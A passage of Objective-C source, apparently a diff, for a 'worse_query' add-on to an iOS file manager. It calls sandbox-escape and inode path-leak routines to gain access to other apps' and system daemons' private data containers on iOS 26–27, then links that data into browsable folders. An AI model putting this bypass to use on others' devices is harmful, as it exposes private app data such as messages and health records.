@"/private/var/mobile/Containers/Data/InternalDaemon", + @"name": @"Internal Daemon Data" }, + @{ @"path": @"/private/var/containers/Data/System", + @"name": @"System Data" }, + @{ @"path": @"/private/var/containers/Shared/SystemGroup", + @"name": @"System Groups" }, + // iOS 26 and earlier system container locations. + @{ @"path": @"/private/var/mobile/Containers/Data/System", + @"name": @"System Data (legacy)" }, + @{ @"path": @"/private/var/mobile/Containers/Shared/SystemGroup", + @"name": @"System Groups (legacy)" }, + @{ @"path": @"/private/var/mobile/Containers/Data/VPNPlugin", + @"name": @"VPN Plugin Data" }, + @{ @"path": @"/private/var/mobile/Containers/Data/Protected", + @"name": @"Protected Data" }, + ]; +} + +#pragma mark - App Group + +static NSArray *WQEntitledAppGroups(void) +{ + NSMutableOrderedSet *groups = [NSMutableOrderedSet orderedSet]; + + WQSecTaskRef task = SecTaskCreateFromSelf(kCFAllocatorDefault); + if (task) { + CFTypeRef value = SecTaskCopyValueForEntitlement(task, + CFSTR("com.apple.security.application-groups"), NULL); + if (value) { + if (CFGetTypeID(value) == CFArrayGetTypeID()) { + for (id group in (__bridge NSArray *)value) + if ([group isKindOfClass:NSString.class] && + [(NSString *)group hasPrefix:@"group."]) + [groups addObject:group]; + } + CFRelease(value); + } + CFRelease(task); + } + + id plistGroups = [NSBundle.mainBundle objectForInfoDictionaryKey:@"WQAppGroups"]; + if ([plistGroups isKindOfClass:NSArray.class]) { + for (id group in (NSArray *)plistGroups) + if ([group isKindOfClass:NSString.class] && [group length] > 0) + [groups addObject:group]; + } + + return groups.array; +} + +NSString *WQBestAppGroup(void) +{ + static NSString *cached; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + NSFileManager *fm = NSFileManager.defaultManager; + for (NSString *group in WQEntitledAppGroups()) { + NSURL *container = [fm containerURLForSecurityApplicationGroupIdentifier:group]; + if (!container) continue; + NSString *library = [container.path stringByAppendingPathComponent:@"Library"]; + [fm createDirectoryAtPath:library withIntermediateDirectories:YES + attributes:nil error:nil]; + cached = group; + break; + } + NSLog(@"[WQ] entitled app groups=%@ selected=%@", + WQEntitledAppGroups(), cached ?: @"(none)"); + }); + return cached; +} + +#pragma mark - Query engine + +static int64_t WQAcquireExtension(NSString *target, BOOL createIfMissing) +{ + if (![target hasPrefix:@"/"]) return -255; + NSString *group = WQBestAppGroup(); + if (!group.length) return -1; + + [gQueryLock lock]; + int64_t handle = worse_query(target, group, + WQUsesAlternateFlags(target), createIfMissing); + if (handle < 0) { + int64_t first = handle; + handle = fallback_query(target, WQUsesAlternateFlags(target)); + if (handle < 0 && getenv("WQ_VERBOSE")) { + NSLog(@"[WQ] grant failed path=%@ worse_query=%lld fallback=%lld", + target, (long long)first, (long long)handle); + } + } + [gQueryLock unlock]; + return handle; +} + +static BOOL WQGrantPath(NSString *rawPath, NSString *displayName, BOOL publish) +{ + NSString *path = WQCanonicalPath(rawPath); + if (!path || !WQPathExists(path)) return NO; + + if (!gGrantHandles) gGrantHandles = [NSMutableDictionary dictionary]; + if (!gGrantedRoots) gGrantedRoots = [NSMutableArray array]; + if (!gRootDisplayNames) gRootDisplayNames = [NSMutableDictionary dictionary]; + + NSNumber *existing = gGrantHandles[path]; + if (existing && existing.longLongValue >= 0) { + if (publish && ![gGrantedRoots containsObject:path]) { + [gGrantedRoots addObject:path]; + gRootDisplayNames[path] = displayName ?: path.lastPathComponent; + } + return YES; + } + + int64_t handle = WQAcquireExtension(path, NO); + if (handle < 0) return NO; + + gGrantHandles[path] = @(handle); + if (publish) { + if (![gGrantedRoots containsObject:path]) [gGrantedRoots addObject:path]; + gRootDisplayNames[path] = displayName ?: path.lastPathComponent; + } + + int descriptor = open(path.fileSystemRepresentation, + O_RDONLY | O_DIRECTORY | O_CLOEXEC); + int openErrno = descriptor < 0 ? errno : 0; + if (descriptor >= 0) close(descriptor); + + NSError *listError = nil; + NSArray *entries = [NSFileManager.defaultManager + contentsOfDirectoryAtPath:path error:&listError]; + if (publish) { + NSLog(@"[WQ] granted %@ handle=%lld open=%d errno=%d entries=%lu listErr=%@", + path, (long long)handle, descriptor >= 0, openErrno, + (unsigned long)entries.count, listError.localizedDescription ?: @"none"); + } + return YES; +} + +static BOOL WQGrantRoot(NSString *rawPath, NSString *displayName) +{ + return WQGrantPath(rawPath, displayName, YES); +} + +static BOOL WQGrantContainer(NSString *rawPath) +{ + return WQGrantPath(rawPath, rawPath.lastPathComponent, NO); +} + +BOOL WQIsActive(void) +{ + return gGrantHandles.count > 0; +} + +NSArray *WQAccessibleRoots(void) +{ + return gGrantedRoots ?: @[]; +} + +NSString *WQVirtualRootFolder(void) +{ + return [MCMFilzaVirtualRoot() stringByAppendingPathComponent:kWQFolderName]; +} + +BOOL WQGrantExtraPath(NSString *path, BOOL createIfMissing) +{ + if (!gQueryLock) gQueryLock = [NSLock new]; + NSString *canonical = WQCanonicalPath(path); + if (!canonical.length) return NO; + int64_t handle = WQAcquireExtension(canonical, createIfMissing); + if (handle < 0) return NO; + if (!gGrantHandles) gGrantHandles = [NSMutableDictionary dictionary]; + gGrantHandles[canonical] = @(handle); + return YES; +} + +void WQReleaseGrantHandle(NSNumber *handle) +{ + if (!handle) return; + worse_query_release(handle.longLongValue); + for (NSString *key in gGrantHandles.allKeys) + if ([gGrantHandles[key] isEqualToNumber:handle]) { + [gGrantHandles removeObjectForKey:key]; + [gGrantedRoots removeObject:key]; + } +} + +void WQReleaseAllGrants(void) +{ + for (NSNumber *handle in gGrantHandles.allValues) + worse_query_release(handle.longLongValue); + [gGrantHandles removeAllObjects]; + [gGrantedRoots removeAllObjects]; +} + +NSArray *WQActiveGrantHandles(void) +{ + return gGrantHandles.allValues ?: @[]; +} + +NSArray *WQChildrenForRoot(NSString *root) +{ + NSString *canonical = WQCanonicalPath(root); + if (!canonical.length) return @[]; + NSArray *children = WQVolumeChildren(canonical); + if (children.count) return children; + return [NSFileManager.defaultManager contentsOfDirectoryAtPath:canonical + error:nil] ?: @[]; +} + +NSString *WQIdentifyContainerPath(NSString *path) +{ + NSString *canonical = WQCanonicalPath(path); + if (!canonical.length) return nil; + return WQContainerIdentifier(canonical); +} + +void WQRefreshDiscovery(void) +{ + dispatch_async(gFamiliesQueue ?: dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{ + WQDiscoverPerContainerFamilies(); + if (!gAppsQueue) gAppsQueue = dispatch_queue_create( + "com.filzaslop.worsequery.apps", DISPATCH_QUEUE_SERIAL); + dispatch_sync(gAppsQueue, ^{ + gAppsCache = WQBuildAppList(); + gAppsCacheDate = [NSDate date]; + }); + dispatch_async(dispatch_get_main_queue(), ^{ WQInstallFavorites(); }); + }); +} + +#pragma mark - Virtual root / links + +static BOOL WQCreateLink(NSString *linkPath, NSString *target) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSString *existing = [fm destinationOfSymbolicLinkAtPath:linkPath error:nil]; + if (existing.length) { + if ([existing isEqualToString:target]) return YES; + [fm removeItemAtPath:linkPath error:nil]; + } else if ([fm fileExistsAtPath:linkPath]) { + // Do not delete a user-created real directory. + NSLog(@"[WQ] keeping existing non-link at %@", linkPath); + return NO; + } + BOOL ok = [fm createSymbolicLinkAtPath:linkPath + withDestinationPath:target error:nil]; + if (!ok) NSLog(@"[WQ] link failed %@ -> %@", linkPath, target); + return ok; +} + +static NSString *WQAppDataFolder(void) +{ + return [WQVirtualRootFolder() stringByAppendingPathComponent:@"App Data (by app)"]; +} + +static NSString *WQAppDataUUIDFolder(void) +{ + return [WQVirtualRootFolder() stringByAppendingPathComponent:@"App Data (UUID)"]; +} + +static NSArray *> *WQFavoriteEntries(void) +{ + NSMutableArray *entries = [NSMutableArray array]; + NSString *folder = WQVirtualRootFolder(); + [entries addObject:@{ @"name": @"worse_query · Accessible Roots", + @"path": folder }]; + NSString *appFolder = WQAppDataFolder(); + if ([NSFileManager.defaultManager fileExistsAtPath:appFolder]) { + [entries addObject:@{ @"name": @"worse_query · App Data (by app)", + @"path": appFolder }]; + } + NSString *uuidFolder = WQAppDataUUIDFolder(); + if ([NSFileManager.defaultManager fileExistsAtPath:uuidFolder]) { + [entries addObject:@{ @"name": @"worse_query · App Data (UUID)", + @"path": uuidFolder }]; + } + for (NSString *path in gGrantedRoots ?: @[]) { + NSString *name = gRootDisplayNames[path] ?: path.lastPathComponent; + [entries addObject:@{ + @"name": [NSString stringWithFormat:@"WQ · %@", name], + @"path": path, + }]; + } + for (NSString *name in @[@"System Groups (containers)", + @"Extension Data (containers)", + @"Internal Daemon Data (containers)"]) { + NSString *path = [folder stringByAppendingPathComponent:name]; + if ([NSFileManager.defaultManager fileExistsAtPath:path]) { + [entries addObject:@{ @"name": [NSString stringWithFormat:@"WQ · %@", name], + @"path": path }]; + } + } + return entries; +} + +static void WQInstallFavorites(void) +{ + Class prefsClass = NSClassFromString(@"TGPreferences"); + if (!prefsClass) return; + id prefs = [prefsClass respondsToSelector:NSSelectorFromString(@"sharedInstance")] + ? ((id(*)(id, SEL))objc_msgSend)(prefsClass, + NSSelectorFromString(@"sharedInstance")) : nil; + if (!prefs) return; + + NSArray *existing = [prefs respondsToSelector:NSSelectorFromString(@"favoritedLinks")] + ? ((id(*)(id, SEL))objc_msgSend)(prefs, + NSSelectorFromString(@"favoritedLinks")) : nil; + NSMutableArray *mutableLinks = [existing isKindOfClass:NSMutableArray.class] + ? (NSMutableArray *)existing : nil; + NSMutableIndexSet *stale = [NSMutableIndexSet indexSet]; + NSFileManager *fm = NSFileManager.defaultManager; + if (mutableLinks) { + [mutableLinks enumerateObjectsUsingBlock:^(id item, NSUInteger idx, BOOL *stop) { + if (![item isKindOfClass:NSDictionary.class]) return; + NSString *name = item[@"name"]; + NSString *path = item[@"path"]; + BOOL isOurs = [name hasPrefix:@"WQ ·"] || [name hasPrefix:@"worse_query ·"]; + if (!isOurs) return; + if (!path.length || ![fm fileExistsAtPath:path] || + [path containsString:@"App Data (apps)"]) + [stale addIndex:idx]; + }]; + if (stale.count) { + [mutableLinks removeObjectsAtIndexes:stale]; + ((void(*)(id, SEL))objc_msgSend)(prefs, + NSSelectorFromString(@"saveFavoritedLinks")); + NSLog(@"[WQ] removed %lu stale Favorites entries", + (unsigned long)stale.count); + } + } + + NSMutableSet *paths = [NSMutableSet set]; + for (id item in [existing isKindOfClass:NSArray.class] ? existing : @[]) { + if (![item isKindOfClass:NSDictionary.class]) continue; + NSString *path = item[@"path"]; + if (path.length) [paths addObject:path]; + } + + NSUInteger added = 0; + for (NSDictionary *entry in WQFavoriteEntries()) { + NSString *path = entry[@"path"]; + if (!path.length || [paths containsObject:path]) continue; + ((void(*)(id, SEL, id))objc_msgSend)(prefs, + NSSelectorFromString(@"addItemToFavoritedLinks:"), entry); + [paths addObject:path]; + added++; + } + if (added > 0) { + ((void(*)(id, SEL))objc_msgSend)(prefs, + NSSelectorFromString(@"saveFavoritedLinks")); + NSLog(@"[WQ] added %lu Favorites entries (total requested=%lu)", + (unsigned long)added, + (unsigned long)WQFavoriteEntries().count); + } + gFavoritesInstalled = YES; +} + +static void WQScheduleFavorites(void) +{ + static int attempts; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 1500 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + WQInstallFavorites(); + if (++attempts < 12) WQScheduleFavorites(); + }); +} + +static void WQInstallBundledTestFiles(void) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSString *folder = WQVirtualRootFolder(); + NSString *source = [NSBundle.mainBundle.bundlePath + stringByAppendingPathComponent:@"WQTestFiles"]; + NSArray *names = @[@"test.deb", @"test"]; + for (NSString *name in names) { + NSString *from = [source stringByAppendingPathComponent:name]; + NSString *to = [folder stringByAppendingPathComponent:name]; + if (![fm fileExistsAtPath:from]) continue; + NSDictionary *sourceAttributes = [fm attributesOfItemAtPath:from + error:nil]; + unsigned long long sourceSize = + [sourceAttributes[NSFileSize] unsignedLongLongValue]; + BOOL needsCopy = ![fm fileExistsAtPath:to]; + if (!needsCopy) { + NSDictionary *attributes = [fm attributesOfItemAtPath:to error:nil]; + needsCopy = [attributes[NSFileSize] unsignedLongLongValue] != sourceSize; + } + if (!needsCopy) continue; + [fm removeItemAtPath:to error:nil]; + NSError *error = nil; + if (![fm copyItemAtPath:from toPath:to error:&error]) { + NSLog(@"[WQ] test file copy failed %@: %@", name, + error.localizedDescription); + continue; + } + if ([name isEqualToString:@"test"]) + [fm setAttributes:@{ NSFilePosixPermissions: @0755 } + ofItemAtPath:to error:nil]; + NSLog(@"[WQ] installed bundled test file %@", name); + } +} + +static void WQInstallVirtualRoot(void) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSString *folder = WQVirtualRootFolder(); + [fm createDirectoryAtPath:folder withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @0700 } error:nil]; + + // The application container family is enumerated per app so that hidden + // apps are still identified from their data containers. The other + // families get a per-container folder only when the root extension is + // refused by containermanagerd. + [fm createDirectoryAtPath:WQAppDataFolder() withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @0700 } error:nil]; + [fm createDirectoryAtPath:WQAppDataUUIDFolder() withIntermediateDirectories:YES + attributes:@{ NSFilePosixPermissions: @0700 } error:nil]; + NSDictionary *perContainerFolders = @{ + @"/private/var/mobile/Containers/Data/Application": @"App Data (apps)", + @"/private/var/containers/Shared/SystemGroup": @"System Groups (containers)", + @"/private/var/mobile/Containers/Shared/SystemGroup": @"System Groups (containers)", + @"/private/var/mobile/Containers/Data/PluginKitPlugin": @"Extension Data (containers)", + @"/private/var/mobile/Containers/Data/InternalDaemon": @"Internal Daemon Data (containers)", + }; + for (NSString *root in perContainerFolders) { + if (!WQPathExists(root)) continue; + if ([gGrantedRoots containsObject:root]) continue; + [fm createDirectoryAtPath: + [folder stringByAppendingPathComponent:perContainerFolders[root]] + withIntermediateDirectories:YES attributes:nil error:nil]; + } + + NSMutableSet *usedNames = [NSMutableSet set]; + for (NSString *path in gGrantedRoots ?: @[]) { + NSString *name = gRootDisplayNames[path] ?: path.lastPathComponent; + NSString *candidate = name; + NSUInteger suffix = 2; + while ([usedNames containsObject:candidate]) + candidate = [NSString stringWithFormat:@"%@ %lu", name, + (unsigned long)suffix++]; + [usedNames addObject:candidate]; + WQCreateLink([folder stringByAppendingPathComponent:candidate], path); + } + + NSString *readme = + @"worse_query accessible roots\n" + @"===========================\n\n" + @"This folder is generated by FilzaSlop's worse_query integration.\n" + @"Each symlink points at a path family for which the app holds a\n" + @"live sandbox extension. The extension is scoped to the Filza\n" + @"process and is not a jailbreak.\n\n" + @"Supported: iOS 26.0 - 26.7.2 and iOS 27.0 - 27.2.\n" + @"Signing: a normal Apple signing identity plus one App Group is\n" + @"required. No MobileHouseArrest identity is used.\n"; + [readme writeToFile:[folder stringByAppendingPathComponent:@"README.txt"] + atomically:YES encoding:NSUTF8StringEncoding error:nil]; + WQInstallBundledTestFiles(); +} + +#pragma mark - App discovery + +static BOOL WQLooksLikeBundleIdentifier(NSString *value) +{ + if (value.length < 3 || value.length > 255) return NO; + if ([value hasPrefix:@"."] || [value hasSuffix:@"."]) return NO; + if ([value containsString:@".."] || [value containsString:@"/"]) return NO; + if (![value containsString:@"."]) return NO; + if ([value isEqualToString:@"com.apple"] || [value isEqualToString:@"com.apple."] || + [value isEqualToString:@"group"] || [value isEqualToString:@"systemgroup"]) + return NO; + NSCharacterSet *allowed = [NSCharacterSet characterSetWithCharactersInString: + @"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.-_"]; + return [value rangeOfCharacterFromSet:allowed.invertedSet].location == NSNotFound; +} + +static NSString *WQInferIdentifierFromDataDirectory(NSString *containerPath) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSArray *subdirectories = @[ + @"Library/Preferences", + @"Library/Caches", + @"Library/Saved Application State", + @"Library/Application Support", + ]; + NSMutableArray *allCandidates = [NSMutableArray array]; + for (NSString *subdirectory in subdirectories) { + NSString *directory = [containerPath stringByAppendingPathComponent:subdirectory]; + NSArray *names = [fm contentsOfDirectoryAtPath:directory error:nil]; + for (NSString *name in names ?: @[]) { + NSString *candidate = name; + if ([candidate hasSuffix:@".savedState"]) + candidate = [candidate stringByDeletingPathExtension]; + if (candidate.pathExtension.length) candidate = candidate.stringByDeletingPathExtension; + if (![candidate containsString:@"."]) continue; + if (!WQLooksLikeBundleIdentifier(candidate)) continue; + if ([candidate hasPrefix:@"com.apple.NS"] || + [candidate hasPrefix:@"com.apple.CF"] || + [candidate hasPrefix:@"com.apple.GS"] || + [candidate hasPrefix:@"com.apple.DT"] || + [candidate hasPrefix:@"com.apple.App"]) continue; + [allCandidates addObject:candidate]; + } + } + // Prefer a third-party identifier over an Apple one when both are present. + for (NSString *candidate in allCandidates) + if (![candidate hasPrefix:@"com.apple."] && ![candidate hasPrefix:@"group."]) + return candidate; + return allCandidates.firstObject; +} + +static NSString *WQContainerIdentifier(NSString *containerPath) +{ + if (!containerPath.length) return nil; + NSString *metadataPath = [containerPath + stringByAppendingPathComponent:@".com.apple.mobile_container_manager.metadata.plist"]; + NSFileManager *fm = NSFileManager.defaultManager; + NSError *readError = nil; + NSData *data = [NSData dataWithContentsOfFile:metadataPath + options:0 error:&readError]; + if (!data) { + int64_t handle = WQAcquireExtension(metadataPath, NO); + if (handle >= 0) { + data = [NSData dataWithContentsOfFile:metadataPath]; + worse_query_release(handle); + } + } + if (data) { + id plist = [NSPropertyListSerialization propertyListWithData:data + options:NSPropertyListImmutable format:NULL error:nil]; + if ([plist isKindOfClass:NSDictionary.class]) { + NSString *identifier = plist[@"MCMMetadataIdentifier"]; + if ([identifier isKindOfClass:NSString.class] && + WQLooksLikeBundleIdentifier(identifier)) { + return identifier; + } + } + } + + static int debugCount; + BOOL debug = debugCount < 3; + NSString *inferred = WQInferIdentifierFromDataDirectory(containerPath); + if (debug) { + debugCount++; + NSArray *rootEntries = [fm contentsOfDirectoryAtPath:containerPath error:nil]; + NSArray *prefs = [fm contentsOfDirectoryAtPath: + [containerPath stringByAppendingPathComponent:@"Library/Preferences"] error:nil]; + NSArray *caches = [fm contentsOfDirectoryAtPath: + [containerPath stringByAppendingPathComponent:@"Library/Caches"] error:nil]; + int descriptor = open(metadataPath.fileSystemRepresentation, O_RDONLY); + int openErrno = descriptor < 0 ? errno : 0; + if (descriptor >= 0) close(descriptor); + NSLog(@"[WQ][debug] container=%@ metadataExists=%d readErr=%@ openErrno=%d " + @"root=%@ prefs=%@ caches=%@ inferred=%@", containerPath, + [fm fileExistsAtPath:metadataPath], readError.localizedDescription ?: @"none", + openErrno, rootEntries, prefs, caches, inferred ?: @"(nil)"); + } + return inferred; +} + +static NSString *WQSafeLinkName(NSString *name) +{ + NSString *value = [name stringByReplacingOccurrencesOfString:@"/" withString:@"_"]; + value = [value stringByReplacingOccurrencesOfString:@":" withString:@"_"]; + if (value.length == 0 || [value hasPrefix:@"."]) value = [@"app-" stringByAppendingString:value]; + return value; +} + +static void WQInstallAppLinks(NSArray *> *apps) +{ + NSString *folder = WQAppDataFolder(); + NSString *uuidFolder = WQAppDataUUIDFolder(); + [NSFileManager.defaultManager createDirectoryAtPath:folder + withIntermediateDirectories:YES attributes:nil error:nil]; + [NSFileManager.defaultManager createDirectoryAtPath:uuidFolder + withIntermediateDirectories:YES attributes:nil error:nil]; + NSUInteger linked = 0; + NSUInteger uuidLinked = 0; + for (NSDictionary *info in apps) { + NSString *path = info[@"dataPath"]; + NSString *bundleID = info[@"bundleID"]; + if (!path.length || !bundleID.length) continue; + NSString *name = info[@"name"]; + NSString *linkName = WQSafeLinkName(name.length + ? [NSString stringWithFormat:@"%@ [%@]", name, bundleID] : bundleID); + if (WQCreateLink([folder stringByAppendingPathComponent:linkName], path)) + linked++; + NSString *uuid = path.lastPathComponent; + if (uuid.length && + WQCreateLink([uuidFolder stringByAppendingPathComponent:uuid], path)) + uuidLinked++; + } + NSLog(@"[WQ] app data links byApp=%lu uuid=%lu total=%lu", (unsigned long)linked, + (unsigned long)uuidLinked, (unsigned long)apps.count); +} + +static NSString *WQFallbackDisplayName(NSString *bundleID) +{ + static NSDictionary *names; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + names = @{ + @"com.apple.mobilesafari": @"Safari", + @"com.apple.mobilenotes": @"Notes", + @"com.apple.Maps": @"Maps", + @"com.apple.mobilemail": @"Mail", + @"com.apple.MobileSMS": @"Messages", + @"com.apple.Photos": @"Photos", + @"com.apple.camera": @"Camera", + @"com.apple.Preferences": @"Settings", + @"com.apple.AppStore": @"App Store", + @"com.apple.Music": @"Music", + @"com.apple.podcasts": @"Podcasts", + @"com.apple.reminders": @"Reminders", + @"com.apple.weather": @"Weather", + @"com.apple.stocks": @"Stocks", + @"com.apple.news": @"News", + @"com.apple.Health": @"Health", + @"com.apple.Fitness": @"Fitness", + @"com.apple.Home": @"Home", + @"com.apple.tv": @"TV", + @"com.apple.shortcuts": @"Shortcuts", + @"com.apple.freeform": @"Freeform", + @"com.apple.DocumentsApp": @"Files", + @"com.apple.Passbook": @"Wallet", + @"com.apple.MobileAddressBook": @"Contacts", + @"com.apple.mobilecal": @"Calendar", + @"com.apple.VoiceMemos": @"Voice Memos", + @"com.apple.measure": @"Measure", + @"com.apple.compass": @"Compass", + @"com.apple.calculator": @"Calculator", + @"com.apple.tips": @"Tips", + @"com.apple.Translate": @"Translate", + @"com.apple.Bridge": @"Watch", + @"com.apple.PosterBoard": @"Wallpaper", + @"com.apple.springboard": @"SpringBoard", + @"com.apple.iBooks": @"Books", + @"com.apple.facetime": @"FaceTime", + @"com.apple.InCallService": @"Phone", + }; + }); + NSString *known = names[bundleID]; + if (known.length) return known; + NSString *last = [bundleID componentsSeparatedByString:@"."].lastObject; + if (last.length > 1) + return [last stringByReplacingOccurrencesOfString:@"-" withString:@" "].capitalizedString; + return bundleID; +} + +static NSArray *> * +WQAppInfoFromContainers(NSArray *containers) +{ + NSMutableArray *result = [NSMutableArray arrayWithCapacity:containers.count]; + NSMutableDictionary *dataMap = [NSMutableDictionary dictionary]; + + for (NSString *container in containers) { + NSString *containerPath = WQCanonicalPath(container); + if (!containerPath.length) continue; + NSString *bundleID = WQContainerIdentifier(containerPath); + if (!bundleID.length) continue; + + NSMutableDictionary *info = [@{ + @"bundleID": bundleID, + @"dataPath": containerPath, + @"name": bundleID, + @"version": @"1.0", + } mutableCopy]; + if (!dataMap[bundleID]) dataMap[bundleID] = containerPath; + + NSString *bundlePath = gBundleMap[bundleID]; + if (bundlePath.length) { + info[@"bundlePath"] = bundlePath; + NSDictionary *infoPlist = [NSDictionary dictionaryWithContentsOfFile: + [bundlePath stringByAppendingPathComponent:@"Info.plist"]]; + NSString *name = infoPlist[@"CFBundleDisplayName"]; + if (!name.length) name = infoPlist[@"CFBundleName"]; + if (name.length) info[@"name"] = name; + NSString *version = infoPlist[@"CFBundleShortVersionString"]; + if (!version.length) version = infoPlist[@"CFBundleVersion"]; + if (version.length) info[@"version"] = version; + } + + Class proxyClass = NSClassFromString(@"LSApplicationProxy"); + id proxy = [proxyClass respondsToSelector: + NSSelectorFromString(@"applicationProxyForIdentifier:")] + ? ((id(*)(id, SEL, id))objc_msgSend)(proxyClass, + NSSelectorFromString(@"applicationProxyForIdentifier:"), bundleID) + : nil; + NSString *proxyName = [proxy respondsToSelector:NSSelectorFromString(@"localizedName")] + ? ((id(*)(id, SEL))objc_msgSend)(proxy, + NSSelectorFromString(@"localizedName")) : nil; + if (proxyName.length && + (![info[@"name"] isKindOfClass:NSString.class] || + [info[@"name"] isEqualToString:bundleID])) + info[@"name"] = proxyName; + NSString *proxyVersion = [proxy respondsToSelector:NSSelectorFromString(@"bundleVersion")] + ? ((id(*)(id, SEL))objc_msgSend)(proxy, + NSSelectorFromString(@"bundleVersion")) : nil; + if (proxyVersion.length && [info[@"version"] isEqualToString:@"1.0"]) + info[@"version"] = proxyVersion; + NSURL *proxyBundle = [proxy respondsToSelector:NSSelectorFromString(@"bundleURL")] + ? ((id(*)(id, SEL))objc_msgSend)(proxy, + NSSelectorFromString(@"bundleURL")) : nil; + if ([proxyBundle isKindOfClass:NSURL.class] && proxyBundle.path.length && + !info[@"bundlePath"]) { + info[@"bundlePath"] = proxyBundle.path; + } + static int proxyDebugCount; + if (proxyDebugCount < 6) { + proxyDebugCount++; + NSLog(@"[WQ][proxy-debug] id=%@ proxy=%@ name=%@ bundle=%@", + bundleID, proxy ? @"yes" : @"nil", proxyName ?: @"nil", + proxyBundle.path ?: @"nil"); + } + if ([info[@"name"] isEqualToString:bundleID]) + info[@"name"] = WQFallbackDisplayName(bundleID); + [result addObject:info]; + } + + gDataMap = dataMap; + [result sortUsingComparator:^NSComparisonResult(NSDictionary *a, NSDictionary *b) { + return [a[@"name"] localizedStandardCompare:b[@"name"]]; + }]; + return result; +} + +static NSArray *WQVolumePaths(void) +{ + dispatch_once(&gVolumeOnce, ^{ + NSDate *start = [NSDate date]; + NSArray *roots = @[ + @"/private/var/mobile/Containers/Data/Application", + @"/private/var/mobile/Containers/Shared/AppGroup", + @"/private/var/mobile/Containers/Data/PluginKitPlugin", + @"/private/var/mobile/Containers/Data/InternalDaemon", + @"/private/var/mobile/Containers/Data/System", + @"/private/var/mobile/Containers/Shared/SystemGroup", + @"/private/var/containers/Data/System", + @"/private/var/containers/Shared/SystemGroup", + @"/private/var/containers/Bundle/Application", + ]; + gVolumePaths = pathleak_roots(roots, 1, 5000000); + NSTimeInterval elapsed = -[start timeIntervalSinceNow]; + NSLog(@"[WQ] volume inode scan paths=%lu elapsed=%.1fs", + (unsigned long)gVolumePaths.count, elapsed); + }); + return gVolumePaths ?: @[]; +} + +static NSArray *WQVolumeChildren(NSString *root) +{ + NSString *prefix = [root stringByAppendingString:@"/"]; + NSMutableArray *children = [NSMutableArray array]; + for (NSString *path in WQVolumePaths()) { + if (![path hasPrefix:prefix]) continue; + NSString *remainder = [path substringFromIndex:prefix.length]; + if ([remainder containsString:@"/"]) continue; + [children addObject:path]; + } + return children; +} + +static NSArray *WQEnumerateContainers(NSString *root) +{ + NSFileManager *fm = NSFileManager.defaultManager; + NSError *error = nil; + NSArray *names = [fm contentsOfDirectoryAtPath:root error:&error]; + NSLog(@"[WQ] container root %@ direct entries=%lu error=%@", + root, (unsigned long)names.count, error.localizedDescription ?: @"none"); + if (names.count > 0) { + NSMutableArray *paths = [NSMutableArray arrayWithCapacity:names.count]; + for (NSString *name in names) { + if ([name hasPrefix:@"."]) continue; + [paths addObject:[root stringByAppendingPathComponent:name]]; + } + if (paths.count > 0) return paths; + } + + // iOS 26/27 can hide container entries from directory enumeration even + // when the path itself is visible. The shared volume scan below converts + // inode numbers to paths once and feeds every container family. + NSArray *volumeChildren = WQVolumeChildren(root); + if (volumeChildren.count > 0) { + NSLog(@"[WQ] volume children %@ count=%lu", root, + (unsigned long)volumeChildren.count); + return volumeChildren; + } + + if (!gPathleakCache) gPathleakCache = [NSMutableDictionary dictionary]; + NSArray *cached = gPathleakCache[root]; + if (cached) { + NSLog(@"[WQ] pathleak cache %@ children=%lu", root, + (unsigned long)cached.count); + return cached; + } + + uint64_t maximumInode = 5000000; + NSString *probePath = [NSTemporaryDirectory() stringByAppendingPathComponent: + [NSString stringWithFormat:@".wq-inode-%@", NSUUID.UUID.UUIDString]]; + NSData *probeData = [NSData data]; + if ([probeData writeToFile:probePath atomically:NO]) { + struct stat status = {0}; + if (stat(probePath.fileSystemRepresentation, &status) == 0 && status.st_ino > 0) { + maximumInode = (uint64_t)status.st_ino + (uint64_t)status.st_ino / 10 + 4096; + } + [[NSFileManager defaultManager] removeItemAtPath:probePath error:nil]; + } + struct stat homeStatus = {0}; + if (stat(NSHomeDirectory().fileSystemRepresentation, &homeStatus) == 0 && + homeStatus.st_ino > maximumInode) + maximumInode = (uint64_t)homeStatus.st_ino + (uint64_t)homeStatus.st_ino / 10 + 4096; + if (maximumInode > 5000000) maximumInode = 5000000; + NSLog(@"[WQ] pathleak %@ maxInode=%llu", root, (unsigned long long)maximumInode); + NSArray *leaked = pathleak(root, maximumInode); + NSLog(@"[WQ] pathleak %@ returned=%lu", root, (unsigned long)leaked.count); + NSMutableArray *paths = [NSMutableArray arrayWithCapacity:leaked.count]; + for (NSString *path in leaked ?: @[]) { + if (![path isKindOfClass:NSString.class]) continue; + [paths addObject:path]; + } + gPathleakCache[root] = paths.copy; + return paths; +} + +static void WQDiscoverPerContainerFamilies(void) +{ + NSArray *> *families = @[ + @{ @"path": @"/private/var/containers/Shared/SystemGroup", + @"folder": @"System Groups (containers)" }, + @{ @"path": @"/private/var/mobile/Containers/Shared/SystemGroup", + @"folder": @"System Groups (containers)" }, + @{ @"path": @"/private/var/mobile/Containers/Data/PluginKitPlugin", + @"folder": @"Extension Data (containers)" }, + @{ @"path": @"/private/var/mobile/Containers/Data/InternalDaemon", + @"folder": @"Internal Daemon Data (containers)" }, + ]; + NSString *hub = WQVirtualRootFolder(); + NSUInteger familyIndex = 0; + for (NSDictionary *family in families) { + NSString *root = WQCanonicalPath(family[@"path"]); + NSString *folderName = family[@"folder"]; + if (!WQPathExists(root)) continue; + if ([gGrantedRoots containsObject:root]) continue; + familyIndex++; + WQPostStartupProgress(0.58 + 0.07 * familyIndex, + [NSString stringWithFormat:@"正在加载 %@…", folderName]); + + NSArray *children = WQEnumerateContainers(root); + if (children.count == 0) continue; + NSString *folder = [hub stringByAppendingPathComponent:folderName]; + [NSFileManager.defaultManager createDirectoryAtPath:folder + withIntermediateDirectories:YES attributes:nil error:nil]; + + NSUInteger granted = 0; + for (NSString *child in children) { + if (!WQGrantContainer(child)) continue; + granted++; + NSString *identifier = WQContainerIdentifier(child); + NSString *linkName = 